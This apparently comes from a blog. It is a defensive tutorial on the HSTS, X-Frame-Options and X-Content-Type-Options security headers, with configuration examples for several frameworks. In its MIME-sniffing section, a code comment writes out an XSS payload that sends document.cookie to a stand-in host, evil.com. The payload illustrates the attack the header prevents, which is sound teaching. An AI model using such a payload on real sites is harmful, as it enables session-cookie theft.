Secure Headers: HSTS, X-Frame-Options, X-Content-Type-Options

Every HTTP response your server sends is an opportunity to instruct browsers on how to handle your content securely. Security headers are directives that tell browsers to enable built-in...

Key Insights

  • Security headers are one of the highest-impact, lowest-effort security improvements you can make—they require minimal code changes but protect against entire classes of attacks like clickjacking, protocol downgrade, and MIME confusion.
  • HSTS with preloading is the gold standard for enforcing HTTPS, but misconfiguration can lock users out of your site, so always start with a short max-age and test thoroughly before enabling preload.
  • These three headers work together as part of defense-in-depth; implementing them individually helps, but combining them with Content-Security-Policy creates a robust security posture that significantly raises the bar for attackers.

Why HTTP Security Headers Matter

Every HTTP response your server sends is an opportunity to instruct browsers on how to handle your content securely. Security headers are directives that tell browsers to enable built-in protections—protections that are often disabled by default for backward compatibility reasons.

The attacks these headers prevent aren’t theoretical. Clickjacking has compromised social media accounts. MIME sniffing vulnerabilities have led to XSS attacks. Protocol downgrade attacks have exposed sensitive data on public WiFi networks. These are real threats with real consequences.

What makes security headers compelling is their cost-benefit ratio. Adding three lines to your server configuration can eliminate entire attack vectors. You’re not writing complex validation logic or redesigning your authentication system—you’re simply telling browsers to do what they should have been doing all along.

Let’s examine the three foundational security headers every web application should implement.

HSTS (HTTP Strict Transport Security)

HSTS solves a fundamental problem with HTTPS adoption: the first request. When a user types example.com into their browser, that initial request goes over HTTP. An attacker on the same network can intercept this request and either serve malicious content or perform an SSL stripping attack, where they proxy the connection and present HTTP to the user while communicating with your server over HTTPS.

HSTS tells browsers: “For the next N seconds, never connect to this domain over HTTP. Always use HTTPS, even if the user explicitly types http://.”

The header has three directives:

  • max-age: How long (in seconds) the browser should remember this policy
  • includeSubDomains: Apply the policy to all subdomains
  • preload: Signal that you want inclusion in browser preload lists
# Nginx configuration
server {
    listen 443 ssl http2;
    server_name example.com;
    
    # HSTS with 1-year max-age, subdomains included, preload ready
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    
    # ... rest of configuration
}
# Apache configuration
<VirtualHost *:443>
    ServerName example.com
    
    # Enable HSTS
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
    
    # ... rest of configuration
</VirtualHost>

A word of caution about preload: Once you submit your domain to hstspreload.org and it gets included in browser source code, there’s no quick way back. If you later need to serve HTTP content (perhaps for a legacy integration), you’ll be stuck. Start with a short max-age (like 300 seconds) during testing, then gradually increase to 31536000 (one year) once you’re confident.

Also ensure that all subdomains support HTTPS before enabling includeSubDomains. That forgotten subdomain running an old internal tool will become inaccessible.

X-Frame-Options: Preventing Clickjacking

Clickjacking is deceptively simple: an attacker embeds your site in an invisible iframe, overlays it with enticing content, and tricks users into clicking buttons they can’t see. The user thinks they’re clicking “Play Video” but they’re actually clicking “Delete Account” or “Transfer Funds” on your hidden site.

X-Frame-Options tells browsers whether your pages can be embedded in frames:

  • DENY: Never allow framing, period
  • SAMEORIGIN: Only allow framing by pages on the same origin
// Express.js middleware
const express = require('express');
const app = express();

// Simple middleware to set X-Frame-Options
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});

// Or for same-origin framing (if you embed your own content)
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'SAMEORIGIN');
    next();
});

app.get('/', (req, res) => {
    res.send('Protected from clickjacking!');
});

app.listen(3000);

Important note on deprecation: X-Frame-Options is technically superseded by the frame-ancestors directive in Content-Security-Policy. However, you should still set both for maximum compatibility:

app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
    next();
});

The CSP frame-ancestors directive is more flexible—it allows you to specify exactly which origins can embed your content, not just same-origin or none.

X-Content-Type-Options: Stopping MIME Sniffing

Browsers historically tried to be “helpful” by guessing content types. If a server sent a file without a Content-Type header, or with an incorrect one, browsers would examine the content and make their own determination. This feature, called MIME sniffing, has been exploited for years.

Consider this attack scenario:

// Vulnerable Express.js application
const express = require('express');
const app = express();

// User-uploaded "image" that's actually HTML with JavaScript
app.get('/uploads/:filename', (req, res) => {
    const filePath = `./uploads/${req.params.filename}`;
    
    // Developer sets Content-Type based on file extension
    // But attacker uploaded malicious.jpg containing:
    // <html><script>document.location='https://evil.com/steal?cookie='+document.cookie</script></html>
    
    res.sendFile(filePath);
});

If an attacker uploads a file named malicious.jpg containing HTML and JavaScript, and the server serves it with Content-Type: image/jpeg, older browsers might sniff the content, determine it’s actually HTML, and execute the JavaScript. This leads to stored XSS.

The fix is simple:

const express = require('express');
const app = express();

// Prevent MIME sniffing
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    next();
});

app.get('/uploads/:filename', (req, res) => {
    const filePath = `./uploads/${req.params.filename}`;
    // Now even if Content-Type is wrong, browser won't sniff
    res.sendFile(filePath);
});

With nosniff, browsers will refuse to execute scripts or stylesheets if the MIME type doesn’t match what’s expected. That malicious “image” stays an image.

Implementing All Three Headers Together

In practice, you’ll want to set all security headers in one place. Here’s how to do it across popular frameworks:

Node.js with Helmet

Helmet is the standard solution for Express security headers. It’s well-maintained and handles edge cases:

const express = require('express');
const helmet = require('helmet');

const app = express();

// Helmet with custom configuration
app.use(helmet({
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    },
    frameguard: {
        action: 'deny'
    },
    noSniff: true,
    // Helmet also sets other useful headers by default
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            frameAncestors: ["'none'"]
        }
    }
}));

app.get('/', (req, res) => {
    res.json({ message: 'Secured with Helmet' });
});

app.listen(3000);

Python with Django

Django has built-in support for security headers through settings:

# settings.py

# HSTS settings
SECURE_HSTS_SECONDS = 31536000  # 1 year
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

# Force HTTPS redirects
SECURE_SSL_REDIRECT = True

# X-Content-Type-Options
SECURE_CONTENT_TYPE_NOSNIFF = True

# X-Frame-Options
X_FRAME_OPTIONS = 'DENY'

# Additional recommended settings
SECURE_BROWSER_XSS_FILTER = True  # Deprecated but still useful for older browsers
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True

Java with Spring Boot

Spring Security provides comprehensive header configuration:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.header.writers.StaticHeadersWriter;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .headers(headers -> headers
                // HSTS - automatically enabled for HTTPS
                .httpStrictTransportSecurity(hsts -> hsts
                    .maxAgeInSeconds(31536000)
                    .includeSubDomains(true)
                    .preload(true)
                )
                // X-Frame-Options
                .frameOptions(frame -> frame.deny())
                // X-Content-Type-Options (enabled by default, but explicit is better)
                .contentTypeOptions(content -> {})
                // Content-Security-Policy for frame-ancestors
                .contentSecurityPolicy(csp -> 
                    csp.policyDirectives("frame-ancestors 'none'")
                )
            );
        
        return http.build();
    }
}

Testing and Validation

Never assume your headers are being set correctly. Middleware can be bypassed, reverse proxies can strip headers, and CDNs can cache responses without them.

Using curl

# Check all security headers
curl -I https://example.com

# Expected output should include:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# X-Frame-Options: DENY
# X-Content-Type-Options: nosniff

# More verbose output with timing
curl -w "\n" -s -D - https://example.com -o /dev/null | grep -iE "(strict-transport|x-frame|x-content-type)"

Using Browser DevTools

Open DevTools (F12), go to the Network tab, click on the document request, and examine the Response Headers section. All three headers should be present.

Online Scanners

SecurityHeaders.com provides a letter grade and detailed analysis of your security headers. It’s useful for quick checks and for generating reports for stakeholders. Mozilla Observatory is another excellent option that checks broader security configurations.

Conclusion and Next Steps

HSTS, X-Frame-Options, and X-Content-Type-Options form the foundation of HTTP security headers. They’re non-negotiable for any production web application. The implementation effort is minimal—often just a few lines of configuration—but the protection they provide is substantial.

Once you’ve implemented these three, consider adding:

  • Content-Security-Policy: The most powerful security header, controlling which resources can load and execute
  • Referrer-Policy: Controls how much referrer information is sent with requests
  • Permissions-Policy: Restricts which browser features your site can use (camera, microphone, geolocation)

Security headers aren’t a silver bullet. They’re one layer in a defense-in-depth strategy. But they’re a layer that costs almost nothing to implement and protects against attacks that have been exploiting web applications for decades. Add them today.

Liked this? There's more.

Every week: one practical technique, explained simply, with code you can use immediately.